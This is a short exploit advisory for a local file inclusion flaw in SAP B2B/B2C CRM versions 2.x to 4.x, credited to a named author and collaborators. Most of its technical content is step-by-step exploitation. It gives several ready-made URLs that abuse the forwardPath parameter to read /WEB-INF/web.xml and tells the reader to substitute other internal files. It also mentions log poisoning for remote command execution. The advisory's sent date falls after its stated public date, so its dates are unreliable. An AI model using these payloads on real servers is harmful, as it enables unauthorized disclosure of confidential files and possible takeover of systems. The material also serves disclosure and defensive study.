# Title: SAP B2B / B2C CRM 2.x < 4.x - Local File Inclusion# Application:SAP B2B OR B2C is CRM# Versions Affected: SAP B2B OR B2C is CRM 2.x 3.x and 4.x with Bakend R/3 (to icss_b2b)# Vendor URL: http://SAP.com# Bugs: SAP LFI in B2B OR B2C CRM# Sent:2018-05-03# Reported:2018-05-03# Date of Public Advisory: 2018-02-09# Reference: SAP Security Note 1870255656# Author: Richard Alviarez# 1. VULNERABLE PACKAGES# SAP LFI in B2B OR B2C CRM v2.x to 4.x# Other versions are probably affected too, but they were not checked.# 2. TECHNICAL DESCRIPTION# A possible attacker can take advantage of this vulnerability # to obtain confidential information of the platform, # as well as the possibility of writing in the logs of the# registry in order to get remote execution of commands and take control of the system.# 3. Steps to exploit this vulnerability
A. Open
https://SAP/{name}_b2b/initProductCatalog.do?forwardPath=/WEB-INF/web.xml
Other vulnerable parameters:
https://SAP/{name}_b2b/CatalogClean.do?forwardPath=/WEB-INF/web.xml
https://SAP/{name}_b2b/IbaseSearchClean.do?forwardPath=/WEB-INF/web.xml
https://SAP/{name}_b2b/ForwardDynamic.do?forwardPath=/WEB-INF/web.xml
page on SAP server
B. Change parameter {name}for example icss_b2b or other name....
C. Change "/WEB-INF/web.xml"for other files or archives internal.
# 4. Collaborators# - CuriositySec# - aDoN90# - Vis0r
